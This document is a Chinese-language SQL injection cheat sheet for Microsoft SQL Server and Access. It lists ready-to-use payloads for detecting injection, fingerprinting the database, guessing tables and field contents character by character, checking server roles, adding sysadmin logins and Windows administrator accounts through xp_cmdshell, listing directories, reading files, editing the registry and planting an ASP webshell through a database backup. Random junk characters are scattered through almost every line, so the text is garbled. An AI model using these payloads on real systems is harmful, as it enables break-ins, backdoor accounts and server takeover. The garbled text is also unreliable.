1.判断是否有注入;and 1=1 ;and 1=2 0<8XI>.3D
2.初步判断是否是mssql ;and user>0 e#,~,W.H
nOQa_G]Gz
3.注入参数是字符'and [查询条件] and ''=' F q!fWl
6Z`R#d #I
4.搜索时没过滤参数的'and [查询条件] and '%25'=' w~#nYM=fP!
Yp0/Ab(v
5.判断数据库系统 ,jC3Fcly
A].>.AI
;and (select count(*) from sysobjects)>0 mssql 16L]=&@
4QIE8f
Y
;and (select count(*) from msysobjects)>0 access ]r3Kg12Mi
>XOiu#kC
s;1]tD
]`bQW?
6.猜数据库 ;and (select Count(*) from [数据库名])>0 <" @zn
xAu/
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 &QG6!`fK}3
q %0Cg=
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 hky;CD~$
S!PzLTc
9.(1)猜字段的ascii值(access) +dBz`WD
LTJc,3\,
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 % aUsOB-RV
>HPdzLY?
(2)猜字段的ascii值(mssql) DAg58
=qJ
RNPbH.
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 N$xtHtz8"
6{,HiY
10.测试权限结构(mssql) `MEYd U1
&20P,8@
aF|d^
@$"L:1_
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ^FZ^6*
>a1{397Y}
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _5MNMVLwW
\v6M:KR5/
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )RYG%
bS
>0DU
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5'w^@Rs5
/%4_-C pm
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5j0{p$'9
W23]Bx
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- BZb]SoAL
!;6Jng%
;and 1=(select IS_MEMBER('db_owner'));-- OG3/-K 8R
GHF_R,7
fbFX4?-
YpUp@/"
11.添加mssql和系统的帐户 W>M~Sk$v
^). )
;exec master.dbo.sp_addlogin username;-- -Q;#sJ?
;exec master.dbo.sp_password null,username,password;-- i)Lp7m z
iqhOi|!
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- +Z!;P
Z6
eQO#Qso]
;exec master.dbo.xp_cmdshell 'net user username password y[O-pD`
fag^7r z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3`HnLD/
nK3k]gLc{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4$,,Ppn
)4xu^=N&as
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- %~j2 ('Y
.[DthEF
vRA',(](
zH=!*[d8
12.(1)遍历目录 qQ7w&9r.M
1\dn1Hh
;create table dirs(paths varchar(100), id int) 4gdY`}8b^}
/w]&t\]*
;insert dirs exec master.dbo.xp_dirtree 'c:\' ^*R(!P^
V 'X;jC
;and (select top 1 paths from dirs)>0 6@tvRDeaDW
+Ra3bj l
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) jnuY{0(&
IGFGa@C
!C:r b
Wv!<bT8r
(2)遍历目录 1u]P4Gf=
*.f2VQ~H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0;~yZ?6_F
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 :^C'<SY2Gs
DE{h5-g
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +rNkN:/L
tn/T6C^)
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {bF1\S]2
<64HveJ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 xPmN},i'R$
}0=<6\+:`
F.q|x|9j
t~K%.|'0
13.mssql中的存储过程 7N2\8kP
Q"J-tP!
xp_regenumvalues 注册表根键, 子键 :ipoD%@
m4ApHM2
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 NB8&
1M%S
gV-#
xp_regread 根键,子键,键值名 }4%/pOi:f
W^g[L:s
;exec xp_regread w,.qCp T$_
!UV5zmS
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 N:+
taz-
fW0$s`
xp_regwrite 根键,子键, 值名, 值类型, 值 wpPn}[a
`T!#@&+
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 sLcY,AH
"Q+83adY4x
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 z>vtEV))
~waNPjPRG
xp_regdeletevalue 根键,子键,值名 WXUkuO
t
Y1Et0
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 "/x_>ui1F
x%BF{Sw
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b#Kq[}
=_=*OEgO]
5vZ#b\;#V
wODvc9p}]
14.mssql的backup创建webshell 8<PKKDgbfd
mVH,HqsXa
use model H:oQ
XQ;I,\m
create table cmd(str image); ['Z{@9
Sgj/s~j~1
insert into cmd(str) values (''); )r!e2zc=Q
V7<eQ0;m
backup database model to disk='c:\l.asp'; Px4/O~bLk
oNRG25
NCt~9xS.
\aSz2lxEHn
15.mssql内置函数 ;El <%{(
m/${8
;and (select @@version)>0 获得Windows的版本号 i2F(GH?p[
r+gjc?Ol
;and user_name()='dbo' 判断当前系统的连接用户是不是sa [e4![G&y`
F1u)i
;and (select user_name())>0 爆当前系统的连接用户 ;) pl{_
TgaYt\"i[
;and (select db_name())>0 得到当前连接的数据库 X8 qIia
.hz2&9Ow
oX|?:MS:
#8?^C]*{0
16.简洁的webshell yq*JdTF
sJ6a7A8)
use model sc xLB;
!C`20,U
create table cmd(str image); B7 c[4
.Ty,_3+{#p
insert into cmd(str) values (''); Vipp /WV
~%P3Pp
backup database model to disk='g:\wwwtest\l.asp';